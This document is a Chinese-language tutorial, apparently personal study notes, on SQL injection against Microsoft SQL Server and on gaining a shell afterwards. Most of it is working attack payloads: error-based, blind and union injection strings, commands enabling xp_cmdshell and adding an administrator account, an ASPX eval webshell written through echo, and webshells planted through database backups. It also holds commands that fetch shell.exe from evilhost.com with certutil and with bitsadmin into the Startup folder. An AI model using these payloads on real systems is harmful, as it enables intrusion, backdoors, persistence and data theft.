借鉴师傅的文章:https://y4er.com/posts/mssql-injection-learn/#%E7%AC%A6%E5%8F%B7,https://y4er.com/posts/mssql-getshell/

https://www.secpulse.com/archives/193819.html

什么是mssql?

MSSQL,或称为Microsoft SQL Server,mssql是Microsoft System Structured Query Language 的缩写,是指微软操作系统的数据库语言,是由微软开发的一种数据库关系管理系统(RDBMS)。

MSSQL基础使用

讲到mssql数据库,我们首先要了解到里面的自带库

默认自带库的类型

1
2
3
4
master   //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作。
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息、事件处理信息、数据备份及恢复信息、警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区。

其中最常用的就是master库了

master库

master数据库是系统数据库,这里存储了所有数据库名和存储过程,就好比mysql里面的information_schema元数据库,这个存储过程其实就好比是一个函数调用的过程

储存过程是一个可编程的函数,它在数据库中创建并保存。它可以有SQL语句和一些特殊的控制结构组成。当希望在不同的应用程序或平台上执行相同的函数,或者封装特定功能时,存储过程是非常有用的。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式。(不是注入的重点,主要是后面getshell需要用,所以简单了解一下就可以了,下面还会带到)

这里贴一张关于master库的展示图

1.1.1

在master数据库中有master.dbo.sysdatabases视图,储存所有数据库名,其他数据库的视图则储存他本库的表名与列名。 每一个库的视图表都有syscolumns存储着所有的字段,可编程性储存着我们的函数。

查询数据库语句

1
2
3
4
5
6
7
8
9
select name from master.dbo.sysdatabases;
#在 SQL Server 中,查询master.dbo.sysdatabases视图可以用于获取实例数据库中所有数据库的名称。
master
tempdb
model
msdb
test
asp_net
asp_test

关于字段

1
2
select top 1 name,xtype from sysobjects;
#这是一个 SELECT 查询语句,它从 sysobjects 表中选择顶部 1 条记录,并仅检索 name 和 xtype 列的值。

但是这里的xtype是可控的,可以是下面这些类型的一种

  • C = CHECK 约束
  • D = 默认值或 DEFAULT 约束
  • F = FOREIGN KEY 约束
  • L = 日志
  • FN = 标量函数
  • IF = 内嵌表函数
  • P = 存储过程
  • PK = PRIMARY KEY 约束(类型是 K)
  • RF = 复制筛选存储过程
  • S = 系统表
  • TF = 表函数
  • TR = 触发器
  • U = 用户表
  • UQ = UNIQUE 约束(类型是 K)
  • V = 视图
  • X = 扩展存储过程

信息搜集

我们先了解一下服务器级别和数据库级别的角色的区别

  1. 服务器级别角色:
    • 服务器级别角色是定义在整个 SQL Server 实例上的一组固定角色。
    • 这些角色控制着整个服务器的权限和功能,如安全设置、备份操作、服务器级别配置等。
  2. 数据库级别角色:
    • 数据库级别角色是定义在特定数据库中的一组角色。
    • 这些角色控制着数据库中对象的访问权限,如表、视图、存储过程等。
    • 数据库级别角色与服务器级别角色的作用范围不同,主要关注数据库内部的权限控制。

服务器级别

image-20241206194113814

我们可以用IS_SRVROLEMEMBER来判断服务器级别的固定角色

IS_SRVROLEMEMBER 是一个系统函数,用于检查指定登录名是否属于指定的服务器级别的固定角色。我们可以利用这个函数的role的有效值去判断服务器级别的固定角色

返回值 描述
0 login 不是 role 的成员。
1 login 是 role 的成员。
NULL role 或 login 无效,或者没有查看角色成员身份的权限。

然后我们构造语句

1
2
3
4
5
6
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))

is_srvrolemember 函数需要传入两个参数,即固定角色名和登录名。

在 SQLMap 中使用 –is-dba 命令可以判断是否为管理员权限,即服务器级别的固定角色

1
select * from admin where id =1 AND 5560 IN (SELECT (CHAR(113)+CHAR(122)+CHAR(113)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (IS_SRVROLEMEMBER(CHAR(115)+CHAR(121)+CHAR(115)+CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110))=1) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(112)+CHAR(120)+CHAR(113)))

数据库级别

image-20241206194907105

数据库级别的应用角色用IS_ROLEMEMBER函数判断

1
2
3
4
5
6
7
8
?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--

讲完了这个我们再来了解一下基本信息

1
2
3
4
SELECT @@version; //版本
SELECT user; //用户
SELECT DB_NAME(); //当前数据库名,你可以用db_name(n)来遍历出所有的数据库
SELECT @@servername; //主机名

那么站库分离可以这么来判断

1
select * from user where id='1' and host_name()=@@servername;--'

站库分离的话实际上就是站点和数据库各司其职,二者互相独立,提高系统性能和可维护性

常见符号

1.注释符号

1
2
3
/**/
--
//

双斜杠是用来注释单行代码的,而/**/是用于注释多行代码的

2.空白字符

1
2
3
4
空格字符(%20)
制表符\t
换行符\n
回车符\r

3.运算符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
&位与逻辑运算符,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0
|位或逻辑运算符,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0
^位异或逻辑运算符,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或1时,结果中的位才被设置为0

ALL 如果一组的比较都为true,则比较结果为true
AND 如果两个布尔表达式都为true,则结果为true;如果其中一个表达式为false,则结果为false
ANY 如果一组的比较中任何一个为true,则结果为true
BETWEEN 如果操作数在某个范围之内,那么结果为true
EXISTS 如果子查询中包含了一些行,那么结果为true
IN 如果操作数等于表达式列表中的一个,那么结果为true
LIKE 如果操作数与某种模式相匹配,那么结果为true
NOT 对任何其他布尔运算符的结果值取反
OR 如果两个布尔表达式中的任何一个为true,那么结果为true
SOME 如果在一组比较中,有些比较为true,那么结果为true

基本注入流程

爆破当前数据库

1
2
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and DB_NAME()>1;
?id=1'and db_name()>0;--

为什么这个可以爆出来呢

这里利用mssql数据类型不一样的报错情况,在将 nvarchar 值 ‘FanmvCMS’ 转换成数据类型 int 时失败。从而把数据库爆出来

爆破表名

在将 nvarchar 值 ‘Fanmv_Admin’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 name from sysobjects WHERE xtype='u');
查询表的完整步骤
?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
//旨在返回数据库中第一个用户表的名称。
//然后通过不断调整查询条件的name not in('table_name'),逐步排除已知表名去拿到我们想找的表名
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
('fsb_accounts', 'fsb_fund_transfers'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));--
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));-

爆破字段名

在将 nvarchar 值 ‘AdminID’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'Fanmv_Admin'));
查询字段名的具体步骤
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
//尝试从sysobjects中获取fsb_accounts的ID,然后从syscolumns中获取该表的第一个字段名
//然后逐步排除字段找到我们想要的字段名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--

爆破数据

在将 varchar 值 ‘81FAAEN52MA16VBYT4Y1JJ3552BTC1640E7CF84345C86BA6’ 转换成数据类型 int 时失败。

1
2
3
4
5
6
7
8
SELECT * FROM Fanmv_Admin WHERE AdminID=1 and 1=(SELECT TOP 1 AdminPass from Fanmv_Admin);
查询数据的具体步骤
?id=1 and 1=(select top 1 branch from fsb_accounts);--
//尝试从表 fsb_accounts 中获取第一个 branch 列的值。通过 select top 1 子句,它只返回结果集中的第一个值。
?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
//排除了 branch 列值为 'Texas-Remington Circle' 的记录,只返回除此之外的第一个 branch 列的值。
?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
//除了排除 'Texas-Remington Circle' 外,还排除了 'Mahnattan - New york',然后返回除这两个值之外的第一个 branch 列的值。

当然,在mssql中除了借助 sysobjects 表和 syscolumns 表获取表名、列名外,MSSQL 数据库中也兼容 information_schema,里面存放了数据表表名和字段名。使用方法与 MySQL 相同。

1
2
3
4
/* 查询表名可以用 information_schema.tables */
?id=1 and 1=(select top 1 table_name from information_schema.tables);--
/* 查询列名可以用 information_schema.columns */
?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--

我们要判断当前的表名和列名,也可以用having 1=1group by

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 having 1=1

选择列表中的列 ‘Fanmv_Admin.AdminID’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

爆出一列,将其用group by 拼接进去继续往后爆其他的

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID having 1=1

选择列表中的列 ‘Fanmv_Admin.IsSystem’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

1
SELECT * FROM Fanmv_Admin WHERE AdminID=1 GROUP BY AdminID,IsSystem having 1=1

选择列表中的列 ‘Fanmv_Admin.AdminName’ 无效,因为该列没有包含在聚合函数或 GROUP BY 子句中。

以此爆出所有字段

mssql报错注入

其实上面已经讲到了报错注入的一些基本用法,但是这里还是得把概念理清楚

MSSQL 数据库是强类型语言数据库,当类型不一致时将会报错,配合子查询即可实现报错注入。前提是服务器允许返回报错信息。报错注入利用的就是显式或隐式的类型转换来报错

先看隐式报错

隐式报错(Implicit Error)是指在代码执行过程中发生错误,但这些错误并不会显式地抛出异常或产生明确的错误消息。相反,这些错误可能会导致程序出现不可预料的行为或结果

1
select * from admin where id =1 and (select user)>0

user和0进行比较时因为数据类型不一致就会报错

再看显式报错,显式报错(Explicit Error)是指通过有意设置错误条件来产生错误消息的情况。

一般显式报错中我们会用castconvert函数去有意的设置错误条件达到报错注入的目的

在SQL中,CAST和CONVERT函数都用于将一个数据类型转换为另一个数据类型

1
2
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))

盲注

其实和mysql的一样,通过设置判断条件并通过页面的回显信息去判断条件是否符合来达到注入的效果

布尔盲注

1
?id=1 and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

布尔盲注没有mssql那么多姿势,大同小异截取字符串比较,通过判断条件去拿到真实的内容

时间盲注

1
2
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 waitfor delay '0:0:5'--
?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 waitfor delay '0:0:5'--

waitfor delay '0:0:5'是mssql的延时语法

但是mssql的盲注还是相对来说简单很多的

联合注入

mssql不用数字占位,因为可能会发生隐式转换,我们用null来占位

在mysql中,爆数据库我们通常是这样去做的

1
?id=1 union select 1,2,database()#

但是在mssql中我们就得稍微变一下

1
2
3
?id=1 union select null,null,DB_NAME();
也可以通过这样去联合报错
?id=1 union select null,null, (select CAST(db_name() as int))

在mssql中我们如果想查询多条数据可以使用%2B 也就是加号

1
?id=1 union select null,name%2Bpass,null from info

getshell和提权

1.getshell

getshell也就涉及到了权限的问题,能否getshell要看你当前的用户权限,如果是没有进行降权的sa用户,那么你几乎可以做任何事。它数据库权限是db_owner,当然你如果有其他具有do_owner权限的用户也可以。

所以我们getshell的两大前提:

  • 有相应的权限db_owner
  • 知道web目录的绝对路径

那我们先讲一下怎么拿到目录的绝对路径

1.1寻找绝对路径

寻找绝对目录一般有以下几个思路

  1. 报错寻找

  2. 字典猜

  3. 旁站信息收集

  4. 调用储存过程来搜索

  5. 读配置文件

前三种方法都是比较常见的方法。我们主要来讲第四种调用存储过程来搜索。

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree

我们一个个进行讲解

  • xp_dirtree

在SQL Server中,xp_dirtree是一个扩展存储过程,用于从指定路径中检索所有子文件和子目录的列表。它返回一个结果集,其中包含指定路径下所有子文件和子目录的详细信息。

以下是xp_dirtree的一般用法:

1
2
3
execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录 
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

那么我们怎么利用呢,执行xp_dirtree返回我们传入的参数如果你想把文件名一起返回来,因为没有回显所以可以这样创建一个临时的表插入

1
2
3
4
5
?id=1;CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
//创建一个临时表tmp,该表包含三列:dir用于存储文件或目录的路径,num和num1用于存储相关的数字信息。
?id=1;insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
//INSERT INTO语句执行了master..xp_dirtree存储过程,并将其结果插入到之前创建的表tmp中。
//参数1和1分别是用于指示是否要处理子目录以及返回文件和目录的深度的参数。
  • xp_cmdshell

xp_cmdshell 存储过程可以生成并执行 Windows 命令,任何输出都作为文本返回。xp_cmdshell 功能非常强大,但是从 MSSQL 2005 版本之后默认处于禁用状态,可以执行 sp_configure 来启用或禁用 xp_cmdshell

xp_cmdshell 的利用条件如下:

  • • 当前用户具有 DBA 权限
  • • 依赖于 xplog70.dll
  • xp_cmdshell 存储过程存在并已启用
1
2
3
4
5
6
7
8
9
10
11
/* 判断当前是否为 DBA 权限,返回 1 则可以提权 */
SELECT IS_SRVROLEMEMBER('sysadmin');

/* 查看是否存在 xp_cmdshell,返回 1 则存在 */
SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'

/* 开启 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

/* 关闭 xp_cmdshell */
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

一般的用法(执行命令)

1
2
3
4
5
6
7
8
9
EXEC master.dbo.xp_cmdshell 'whoami'
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'dir c:'
EXEC master..xp_cmdshell 'dir c:'
EXEC master..xp_cmdshell 'ipconfig/all'
EXEC master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
EXEC master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal" "ServerWinStationsRDP-Tcp /v PortNumber'
EXEC master..xp_cmdshell 'net user hacker Passw0rd /add',NO_OUTPUT
EXEC master..xp_cmdshell 'net localgroup Administrators hacker /add',NO_OUTPUT

接下来我们先来看cmd中怎么查找文件。

1
2
3
4
5
6
7
8
9
10
C:\Users\Aleen>for /r c:\ %i in (1*.aspx) do @echo %i
/*
这是一个for循环命令,用于在指定目录及其子目录中遍历文件。
%i:这是循环变量,用于存储每个匹配到的文件路径。
(1*.aspx):这是匹配文件名的模式。1*.aspx表示以1开头且以.aspx结尾的文件。
do关键字后面的命令@echo %i用于打印匹配到的文件路径。
%i表示当前循环的文件路径。
*/
e:\code\php\1.php
C:\Users\Y4er>

所以我只需要建立一个表 存在一个char字段就可以了

1
2
?id=1;CREATE TABLE cmdtmp (dir varchar(8000));//创建一个名为cmdtmp的表。
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

然后通过注入去查询该表就可以了。

到这里的话我们就了解完了绝对路径的获取方法,那我们接下来该怎么拿shell呢

1.2 xp_cmdshell拿shell

上面已经讲到,xp_cmdshell可以用于执行Windows的cmd命令,那我们可以通过cmd 的echo命令来写入shell

1
?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

也可以通过下载文件去把我们的payload传入

下载文件通常有下面几种姿势

  1. certutil
  2. vbs
  3. bitsadmin
  4. powershell
  5. ftp

这里介绍两种比较常用的

调用 certutil 下载文件

1
EXEC master.dbo.xp_cmdshell 'cd C:UsersPublic & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';

调用 bitsadmin 下载文件并写入系统启动项

1
EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUpshell.exe'
1.3 差异备份拿shell
1
2
3
4
5
6
7
1. backup database 库名 to disk = 'c:\bak.bak';--

2. create table [dbo].[test] ([cmd] [image]);

3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--

差异备份我们有多种情况可能不成功,一般就是目录权限的问题,第一次备份的目录是否可能没有权限,第二次备份到网站目录是否有权限,所以一般不要直接备份到c盘根目录

当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用前面提到的 定义局部变量来执行。

1.4 log备份拿shell

LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式,至少在2008上是这样的,但是使用log备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式

1
2
3
4
5
6
7
8
9
1. alter database 库名 set RECOVERY FULL 

2. create table cmd (a image)

3. backup log 库名 to disk = 'c:\xxx' with init

4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)

5. backup log 库名 to disk = 'c:\xxx\2.asp'

log备份的好处就是备份出来的webshell的文件大小非常的小

2.提权getsystem

我们继续来探究该怎么提权的问题

一般来说我们用xp_cmdshell去执行我们的payload后,通常会利用Cobalt Strike

Cobalt Strike是一款专业的渗透测试工具,一些Cobalt Strike的主要特点包括:

  1. 木马植入:Cobalt Strike提供了钓鱼攻击、恶意软件植入等功能,用于在目标系统上植入后门、远程访问工具等。
  2. 漏洞利用模块:工具包含了各种漏洞利用模块,可用于利用目标系统中的漏洞。
  3. C2功能:Cobalt Strike具有C2(命令和控制)功能,允许攻击者与受感染的系统进行通信、控制和数据交换。

提权没打过,确实写不动了,后面学了再回来补